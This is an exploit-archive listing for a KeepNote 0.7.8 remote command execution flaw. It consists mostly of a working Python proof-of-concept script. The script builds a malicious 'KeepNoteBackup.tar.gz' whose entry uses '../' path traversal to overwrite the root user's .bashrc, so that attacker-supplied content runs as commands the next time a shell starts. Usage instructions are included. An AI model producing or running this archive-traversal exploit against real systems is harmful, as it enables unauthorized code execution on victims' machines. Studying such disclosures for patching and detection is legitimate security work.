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KeepNote 0.7.8 Remote Command Execution

KeepNote 0.7.8 Remote Command Execution
Posted Sep 30, 2016
Authored by R-73eN

KeepNote version 0.7.8 remote command execution exploit.

tags | exploit, remote
MD5 | e90b98f9640d95a97dc9315a5d5dd8fa

KeepNote 0.7.8 Remote Command Execution

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# Title : KeepNote 0.7.8 Remote Command Execution
# Date : 29/09/2016
# Author : R-73eN
# Twitter : https://twitter.com/r_73en
# Tested on : KeepNote 0.7.8 (Kali Linux , and Windows 7)
# Software : http://keepnote.org/index.shtml#download
# Vendor : ~
#
# DESCRIPTION:
#
# When the KeepNote imports a backup which is actuallt a tar.gz file doesn't checks for " ../ " characters
# which makes it possible to do a path traversal and write anywhere in the system(where the user has writing permissions).
# This simple POC will write to the /home/root/.bashrc the file test.txt to get command execution when the bash is run.
# There are a lot of ways but i choose this just for demostration purposes and its supposed we run the keepnote application
# as root (default in kali linux which this bug is tested).
#
#


banner = ""
banner +=" ___ __ ____ _ _ \n"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"
banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"
print banner

import tarfile, sys

if(len(sys.argv) != 2):
print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"
print "[+] Example: python exploit.py test.txt"
exit(0)
print "[+] Creating Exploit File [+]"

filename = "KeepNoteBackup.tar.gz"

path = "../../../../../../../home/root/.bashrc"

tf = tarfile.open(filename,"w:gz")
tf.add(sys.argv[1], path)
tf.close()

print "[+] Created KeepNoteBackup.tar.gz successfully [+]"

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